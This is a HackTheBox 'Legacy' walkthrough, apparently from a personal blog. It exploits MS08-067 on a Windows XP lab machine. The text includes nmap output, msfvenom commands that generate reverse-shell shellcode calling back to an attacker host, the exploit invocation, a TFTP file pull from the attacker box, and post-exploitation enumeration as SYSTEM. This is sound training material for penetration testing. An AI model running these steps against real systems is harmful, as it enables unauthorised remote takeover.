HackTheBox | Legacy

HackTheBox | Legacy

a month ago   •   6 min read

By 0xBEN
Table of contents

Nmap Results

# Nmap 7.92 scan initiated Sun Aug 14 13:16:44 2022 as: nmap -T5 -p135,139,445 -A -oA scan-all
Nmap scan report for
Host is up (0.014s latency).

135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows XP SP3 (96%), Microsoft Windows XP SP2 or SP3 (96%), Microsoft Windows Server 2003 SP1 or SP2 (94%), Microsoft Windows Server 2003 SP2 (94%), Microsoft Windows Server 2003 SP1 (94%), Microsoft Windows 2003 SP2 (94%), Microsoft Windows 2000 SP4 or Windows XP Professional SP1 (93%), Microsoft Windows 2000 SP4 (93%), Microsoft Windows XP Professional SP2 or Windows Server 2003 (93%), Microsoft Windows 2000 SP3/SP4 or Windows XP SP1/SP2 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h27m38s, deviation: 2h07m16s, median: 4d22h57m38s
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:7c:9e (VMware)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2022-08-19T22:14:39+03:00

TRACEROUTE (using port 139/tcp)
1   15.19 ms
2   15.41 ms

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 14 13:17:11 2022 -- 1 IP address (1 host up) scanned in 27.43 seconds

Service Enumeration


nmap SMB enumeration shows that this is likely a Windows XP host, which means that it is likely going to be vulnerable to MS08-067 . If you look at the OS fingerprinting, you might be a bit confused about the mixed messaging:

It's important to get your target right, because MS08-067 is a memory corruption exploit, so running the wrong exploit could take the SMB service completely offline. That said, we'll go with the nmap OS guess in this case, since the SMB header is unreliable.


You can find a public exploits using the Exploit Database. On the web, just go to https://exploit-db.com . Or, you can search Exploit Database from the command line by using searchsploit .

Another way to find public exploits is GitHub. Just go to https://google.com and use a search operator such as site:github.com exploit for <target service name> . In this case, I'll be using Google to find a public exploit for MS08-067 by searching Google for site:github.com "ms08-067" .

This exploit looks like a good choice:

pentest/ms08-067.py at master · jivoi/pentest
:no_entry: offsec batteries included. Contribute to jivoi/pentest development by creating an account on GitHub.
  1. Download and inspect the exploit
  2. Note the example msfvenom commands the author has provided
# Example msfvenom commands to generate shellcode:
# msfvenom -p windows/shell_bind_tcp RHOST= LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows
# msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

  1. We need to update the shellcode in the exploit with our own
# -v change the variable from buf to shellcode
# -o output shellcode to shellcode.txt
msfvenom -p windows/shell_reverse_tcp LHOST=kali-vpn-ip LPORT=80 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode -a x86 --platform windows -o shellcode.txt

  1. Copy the shellcode from shellcode.txt and overwrite the payload in the exploit
  2. Start listener on your designated port
  3. Run the exploit
python2 ms08_067_2018.py target-ip-address 6 445

Transfer the whoami.exe Binary

We're going to use Metasploit's auxiliary TFTP server to transfer the whoami.exe binary from Kali to the target, since it's not installed on Windows XP.

Kali has a copy of whoami.exe ready to ship.

locate whoami.exe


Let's start up Metasploit.

sudo msfconsole

msf6 > use auxiliary/server/tftp
msf6 auxiliary(server/tftp) > set TFTPROOT /tmp
msf6 auxiliary(server/tftp) > set OUTPUTPATH /tmp
msf6 auxiliary(server/tftp) > run
msf6 auxiliary(server/tftp) > cp /usr/share/windows-resources/binaries/whoami.exe /tmp

Now, from the reverse shell, let's grab the whoami.exe binary:

C:\WINDOWS\System32> tftp -i kali-vpn-ip GET whoami.exe

Stop your TFTP server when not in use.

msf6 auxiliary(server/tftp) > jobs
msf6 auxiliary(server/tftp) > kill <id>

Post-Exploit Enumeration

Current User

Click to expand
whoami /all
[User]     = "NT AUTHORITY\SYSTEM"  S-1-5-18

[Group  1] = "BUILTIN\Administrators"  S-1-5-32-544
[Group  2] = "Everyone"  S-1-1-0
[Group  3] = "NT AUTHORITY\Authenticated Users"  S-1-5-11

OS & Kernel

Click to expand
Host Name:                 LEGACY
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Uniprocessor Free
Registered Owner:          user
Registered Organization:   HTB
Product ID:                55274-643-7213323-23904
Original Install Date:     16/3/2017, 7:32:23 ��
System Up Time:            0 Days, 0 Hours, 18 Minutes, 7 Seconds
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 6 Model 85 Stepping 7 GenuineIntel ~2293 Mhz
BIOS Version:              INTEL  - 6040000
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     1.023 MB
Available Physical Memory: 807 MB
Virtual Memory: Max Size:  2.048 MB
Virtual Memory: Available: 2.004 MB
Virtual Memory: In Use:    44 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
NetWork Card(s):           1 NIC(s) Installed.
                           [01]: VMware Accelerated AMD PCNet Adapter
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)


Click to expand
net user
User accounts for \\

Administrator            Guest                    HelpAssistant            
john                     SUPPORT_388945a0         


Click to expand
Unable to enumerate due to system error.


Windows IP Configuration

Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . :
        Subnet Mask . . . . . . . . . . . :
        Default Gateway . . . . . . . . . :

ARP Table


Open Ports
netstat -ano | findstr /i listen
  TCP                LISTENING       940
  TCP                LISTENING       4
  TCP              LISTENING       4
  TCP              LISTENING       568

Ping Sweep


Click to expand

Scheduled Tasks

Click to expand

Privilege Escalation

Because the RPC service runs with SYSTEM privileges on the affected host, command execution will lead to a reverse shell running with the highest integrity level.


C:\Documents and Settings\john\Desktop\user.txt

C:\Documents and Settings\Administrator\Desktop\user.txt

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